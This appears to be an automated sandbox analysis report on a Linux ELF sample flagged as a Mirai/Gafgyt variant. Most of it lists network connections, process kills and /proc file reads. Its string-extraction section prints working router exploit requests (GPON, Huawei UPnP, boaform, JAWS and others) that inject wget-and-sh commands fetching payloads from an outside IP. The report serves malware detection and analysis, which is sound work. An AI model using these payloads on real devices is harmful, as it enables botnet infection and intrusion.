Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42640
Source: unknown	Network traffic detected: HTTP traffic on port 44776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32836
Source: unknown	Network traffic detected: HTTP traffic on port 48922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52022
Source: unknown	Network traffic detected: HTTP traffic on port 49652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52272
Source: unknown	Network traffic detected: HTTP traffic on port 52984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40290
Source: unknown	Network traffic detected: HTTP traffic on port 55422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55704
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53524
Source: unknown	Network traffic detected: HTTP traffic on port 34598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33760
Source: unknown	Network traffic detected: HTTP traffic on port 48324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40044
Source: unknown	Network traffic detected: HTTP traffic on port 37910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41370
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43792
Source: unknown	Network traffic detected: HTTP traffic on port 44398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53532
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 33296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34830
Source: unknown	Network traffic detected: HTTP traffic on port 42734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54622
Source: unknown	Network traffic detected: HTTP traffic on port 44056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42218
Source: unknown	Network traffic detected: HTTP traffic on port 42388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53788
Source: unknown	Network traffic detected: HTTP traffic on port 55758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32890
Source: unknown	Network traffic detected: HTTP traffic on port 58768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53794
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34810
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54404
Source: unknown	Network traffic detected: HTTP traffic on port 56002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45948
Source: unknown	Network traffic detected: HTTP traffic on port 59272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41342
Source: unknown	Network traffic detected: HTTP traffic on port 58046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41344
Source: unknown	Network traffic detected: HTTP traffic on port 47084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55348
Source: unknown	Network traffic detected: HTTP traffic on port 38532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37910
Source: unknown	Network traffic detected: HTTP traffic on port 44602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43358
Source: unknown	Network traffic detected: HTTP traffic on port 50844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43356
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44684

System Summary

Malicious sample detected (through community Yara rule)

Source: uMqeVeoVI4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: uMqeVeoVI4.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: uMqeVeoVI4.elf PID: 5514, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: uMqeVeoVI4.elf PID: 5561, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 794, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 888, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 1659, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 3218, result: successful	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5559)	SIGKILL sent: pid: 5567, result: successful	Jump to behavior

Source: uMqeVeoVI4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: uMqeVeoVI4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: uMqeVeoVI4.elf PID: 5514, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: uMqeVeoVI4.elf PID: 5561, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3757/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/uMqeVeoVI4.elf (PID: 5557)	File opened: /proc/262/cmdline	Jump to behavior

Source: /tmp/uMqeVeoVI4.elf (PID: 5516)

Shell command executed: sh -c "rm -rf usr/ftp && mkdir usr; >usr/ftp && mv /tmp/uMqeVeoVI4.elf usr/ftp; chmod 777 usr/ftp"

Jump to behavior

Source: /bin/sh (PID: 5521)

Chmod executable: /usr/bin/chmod -> chmod 777 usr/ftp

Jump to behavior

Source: /bin/sh (PID: 5519)

Mkdir executable: /usr/bin/mkdir -> mkdir usr

Jump to behavior

Source: /bin/sh (PID: 5518)

Rm executable: /usr/bin/rm -> rm -rf usr/ftp

Jump to behavior

Source: /usr/bin/chmod (PID: 5521)

File: /tmp/usr/ftp (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5521)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 usr/ftp

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 40072 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56816 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57998 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57900 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40244
Source: unknown	Network traffic detected: HTTP traffic on port 40272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
